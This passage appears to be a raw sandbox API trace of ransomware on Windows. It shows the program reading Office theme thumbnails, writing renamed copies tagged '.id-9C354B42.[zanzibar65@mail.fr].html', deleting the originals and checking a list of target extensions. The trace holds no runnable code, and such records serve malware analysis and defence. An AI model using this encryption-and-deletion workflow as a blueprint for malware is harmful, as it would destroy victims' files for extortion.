lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x47f0, lpOverlapped=0x0) returned 1 [0044.398] ReadFile (in: hFile=0x1f0, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0044.398] WriteFile (in: hFile=0x17c, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0044.398] SetEndOfFile (hFile=0x17c) returned 1 [0044.398] CloseHandle (hObject=0x17c) returned 1 [0044.398] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0044.398] SetEndOfFile (hFile=0x1f0) returned 1 [0044.399] CloseHandle (hObject=0x1f0) returned 1 [0044.399] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0044.399] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png")) returned 1 [0044.399] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0044.400] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0044.400] lstrlenW (lpString=".doc") returned 4 [0044.400] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0044.400] lstrlenW (lpString=".docx") returned 5 [0044.400] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0044.400] lstrlenW (lpString=".pdf") returned 4 [0044.400] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0044.400] lstrlenW (lpString=".xls") returned 4 [0044.400] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0044.400] lstrlenW (lpString=".xlsx") returned 5 [0044.400] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0044.400] lstrlenW (lpString=".ppt") returned 4 [0044.400] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0044.400] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0044.400] lstrlenW (lpString=".zip") returned 4 [0044.400] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0044.400] lstrlenW (lpString=".rar") returned 4 [0044.400] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0044.400] lstrlenW (lpString=".bz2") returned 4 [0044.400] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0044.400] lstrlenW (lpString=".7z") returned 3 [0044.400] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0044.400] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0044.400] lstrlenW (lpString=".dbf") returned 4 [0044.400] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0044.400] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0044.400] lstrlenW (lpString=".1cd") returned 4 [0044.400] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0044.400] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0044.400] lstrlenW (lpString=".jpg") returned 4 [0044.400] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0044.401] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0044.401] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0044.401] lstrlenW (lpString=".doc") returned 4 [0044.401] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0044.401] lstrlenW (lpString=".docx") returned 5 [0044.401] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0044.401] lstrlenW (lpString=".pdf") returned 4 [0044.401] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0044.401] lstrlenW (lpString=".xls") returned 4 [0044.401] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0044.401] lstrlenW (lpString=".xlsx") returned 5 [0044.401] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0044.401] lstrlenW (lpString=".ppt") returned 4 [0044.401] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0044.401] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0044.401] lstrlenW (lpString=".zip") returned 4 [0044.401] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0044.401] lstrlenW (lpString=".rar") returned 4 [0044.401] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0044.401] lstrlenW (lpString=".bz2") returned 4 [0044.401] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0044.401] lstrlenW (lpString=".7z") returned 3 [0044.401] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0044.401] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0044.401] lstrlenW (lpString=".dbf") returned 4 [0044.401] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0044.401] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0044.401] lstrlenW (lpString=".1cd") returned 4 [0044.401] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0044.401] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0044.401] lstrlenW (lpString=".jpg") returned 4 [0044.401] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0044.402] lstrcmpiW (lpString1=".PNG", lpString2=".html") returned 1 [0044.402] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0044.402] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0044.664] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=21745) returned 1 [0044.671] CloseHandle (hObject=0x204) returned 1 [0044.672] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png")) returned 0x20 [0044.688] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0044.689] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0044.689] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0044.689] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0044.689] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0044.689] GetLastError () returned 0x0 [0044.689] ReadFile (in: hFile=0x204, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x54f1, lpOverlapped=0x0) returned 1 [0044.691] WriteFile (in: hFile=0x21c, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x5500, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x5500, lpOverlapped=0x0) returned 1 [0044.692] ReadFile (in: hFile=0x204, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0044.692] WriteFile (in: hFile=0x21c, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0044.692] SetEndOfFile (hFile=0x21c) returned 1 [0044.692] CloseHandle (hObject=0x21c) returned 1 [0044.693] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0044.693] SetEndOfFile (hFile=0x204) returned 1 [0044.694] CloseHandle (hObject=0x204) returned 1 [0044.694] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0044.694] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png")) returned 1 [0044.694] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0044.694] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0044.694] lstrlenW (lpString=".doc") returned 4 [0044.694] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0044.694] lstrlenW (lpString=".docx") returned 5 [0044.694] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0044.694] lstrlenW (lpString=".pdf") returned 4 [0044.694] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0044.694] lstrlenW (lpString=".xls") returned 4 [0044.694] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0044.695] lstrlenW (lpString=".xlsx") returned 5 [0044.695] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0044.695] lstrlenW (lpString=".ppt") returned 4 [0044.695] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0044.695] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0044.695] lstrlenW (lpString=".zip") returned 4 [0044.695] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0044.695] lstrlenW (lpString=".rar") returned 4 [0044.695] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0044.695] lstrlenW (lpString=".bz2") returned 4 [0044.695] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0044.695] lstrlenW (lpString=".7z") returned 3 [0044.695] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0044.695] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0044.695] lstrlenW (lpString=".dbf") returned 4 [0044.695] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0044.695] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0044.695] lstrlenW (lpString=".1cd") returned 4 [0044.695] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0044.695] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0044.695] lstrlenW (lpString=".jpg") returned 4 [0044.695] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0044.695] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0044.695] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0044.695] lstrlenW (lpString=".doc") returned 4 [0044.695] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0044.695] lstrlenW (lpString=".docx") returned 5 [0044.695] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0044.695] lstrlenW (lpString=".pdf") returned 4 [0044.695] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0044.695] lstrlenW (lpString=".xls") returned 4 [0044.695] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0044.696] lstrlenW (lpString=".xlsx") returned 5 [0044.696] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0044.696] lstrlenW (lpString=".ppt") returned 4 [0044.696] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0044.696] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0044.696] lstrlenW (lpString=".zip") returned 4 [0044.696] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0044.696] lstrlenW (lpString=".rar") returned 4 [0044.696] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0044.696] lstrlenW (lpString=".bz2") returned 4 [0044.696] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0044.696] lstrlenW (lpString=".7z") returned 3 [0044.696] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0044.696] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0044.696] lstrlenW (lpString=".dbf") returned 4 [0044.696] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0044.696] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0044.696] lstrlenW (lpString=".1cd") returned 4 [0044.696] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0044.696] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0044.696] lstrlenW (lpString=".jpg") returned 4 [0044.696] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0044.696] lstrcmpiW (lpString1=".PNG", lpString2=".html") returned 1 [0044.696] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0044.696] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0045.069] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=15737) returned 1 [0045.078] CloseHandle (hObject=0x194) returned 1 [0045.083] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png")) returned 0x20 [0045.087] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0045.087] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0045.089] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0045.099] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0045.099] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0045.105] GetLastError () returned 0x0 [0045.105] ReadFile (in: hFile=0x1f4, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x3d79, lpOverlapped=0x0) returned 1 [0045.107] WriteFile (in: hFile=0x1ac, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x3d80, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x3d80, lpOverlapped=0x0) returned 1 [0045.108] ReadFile (in: hFile=0x1f4, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0045.108] WriteFile (in: hFile=0x1ac, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0045.108] SetEndOfFile (hFile=0x1ac) returned 1 [0045.108] CloseHandle (hObject=0x1ac) returned 1 [0045.108] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0045.108] SetEndOfFile (hFile=0x1f4) returned 1 [0045.109] CloseHandle (hObject=0x1f4) returned 1 [0045.109] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0045.109] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png")) returned 1 [0045.109] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0045.110] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0045.110] lstrlenW (lpString=".doc") returned 4 [0045.110] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0045.110] lstrlenW (lpString=".docx") returned 5 [0045.110] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0045.110] lstrlenW (lpString=".pdf") returned 4 [0045.110] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0045.110] lstrlenW (lpString=".xls") returned 4 [0045.110] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0045.110] lstrlenW (lpString=".xlsx") returned 5 [0045.110] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0045.110] lstrlenW (lpString=".ppt") returned 4 [0045.110] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0045.110] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0045.110] lstrlenW (lpString=".zip") returned 4 [0045.110] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0045.110] lstrlenW (lpString=".rar") returned 4 [0045.110] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0045.110] lstrlenW (lpString=".bz2") returned 4 [0045.110] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0045.110] lstrlenW (lpString=".7z") returned 3 [0045.110] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0045.110] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0045.110] lstrlenW (lpString=".dbf") returned 4 [0045.110] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0045.110] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0045.110] lstrlenW (lpString=".1cd") returned 4 [0045.110] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0045.110] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0045.111] lstrlenW (lpString=".jpg") returned 4 [0045.111] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0045.111] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0045.111] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0045.111] lstrlenW (lpString=".doc") returned 4 [0045.111] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0045.111] lstrlenW (lpString=".docx") returned 5 [0045.111] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0045.111] lstrlenW (lpString=".pdf") returned 4 [0045.111] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0045.111] lstrlenW (lpString=".xls") returned 4 [0045.111] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0045.111] lstrlenW (lpString=".xlsx") returned 5 [0045.111] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0045.111] lstrlenW (lpString=".ppt") returned 4 [0045.111] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0045.111] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0045.111] lstrlenW (lpString=".zip") returned 4 [0045.111] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0045.111] lstrlenW (lpString=".rar") returned 4 [0045.111] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0045.111] lstrlenW (lpString=".bz2") returned 4 [0045.111] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0045.111] lstrlenW (lpString=".7z") returned 3 [0045.111] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0045.111] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0045.111] lstrlenW (lpString=".dbf") returned 4 [0045.111] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0045.111] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0045.111] lstrlenW (lpString=".1cd") returned 4 [0045.112] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0045.112] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0045.112] lstrlenW (lpString=".jpg") returned 4 [0045.112] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0045.112] lstrcmpiW (lpString1=".PNG", lpString2=".html") returned 1 [0045.112] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0045.112] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0045.491] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=21812) returned 1 [0045.491] CloseHandle (hObject=0x1e8) returned 1 [0045.491] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png")) returned 0x20 [0045.491] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0045.491] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0045.492] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0045.492] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0045.492] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0045.492] GetLastError () returned 0x0 [0045.492] ReadFile (in: hFile=0x1e8, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, 